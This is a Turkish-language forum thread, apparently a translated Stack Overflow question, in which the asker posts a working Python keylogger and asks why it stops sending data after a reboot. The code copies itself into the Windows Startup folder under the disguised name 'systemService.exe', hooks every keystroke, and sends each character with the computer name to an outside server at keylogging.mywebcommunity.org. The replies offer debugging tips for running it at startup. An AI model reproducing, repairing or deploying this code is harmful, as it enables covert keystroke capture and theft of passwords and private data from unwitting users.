Python Keylogger


1

Başlangıçta otomatik olarak çalışan bir python keylogger yapmaya çalışıyorum. İşte python kodu

import pyHook, pythoncom, os, httplib, urllib, getpass, shutil, sys

userName = getpass.getuser()
filePath = "C:\users\%s\AppData\Roaming\Microsoft\windows\Start Menu\Programs\Startup\\" %userName

if os.path.exists(filePath):
    if os.path.isfile(filePath+'systemService.exe')==False:
        try:
            shutil.copy2(sys.argv[0],filePath+'systemService.exe')
        except:
            pass
def OnKeyBoardEvent(event):
    try:
        params = urllib.urlencode({'pcName': os.environ['COMPUTERNAME'], 'toLog': chr(event.Ascii)})
        conn = httplib.HTTPConnection("keylogging.mywebcommunity.org")
        conn.request("GET","/index.php?"+params)
    except:
        pass
    return True
hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyBoardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

Bu keylogger phci kullanarak kodda belirtilen sunucuya tüm ascii veriyi kaydeder. Bu pyw dosyasını çalıştırdığımda gayet iyi çalışır fakat bilgisayarı yeniden başlattığımda sunucuda dosyaya giriş yapmaz. Bu programın Başlangıç ​​Dizini'nde bulunduğunu ve yeniden başlattıktan sonra arka planda çalıştığını kontrol ettim. Ancak yine de sunucu dosyasına veri girişi yapmıyor.


Yeniden başlattıktan sonra yerel bir dosyaya giriş yapıyor mu?
adampski

Dosyayı çalıştırmak ve başlangıçta çalıştırmak için doğru komutla bir .bat dosyası oluşturmayı deneyin. Dosya için doğru şekilde çalıştırılmayan ve hatalarla sonuçlanan birkaç argüman olabilir. Bunu test etmek için, bir koyarak koyarak tavsiye try: #code except: open("somefile","w").write("error") Programın bir yerde bir istisnada çalıştığından emin olmak için değil, onu görmezden gelin.
ytpillai
Sitemizi kullandığınızda şunları okuyup anladığınızı kabul etmiş olursunuz: Çerez Politikası ve Gizlilik Politikası.
Licensed under cc by-sa 3.0 with attribution required.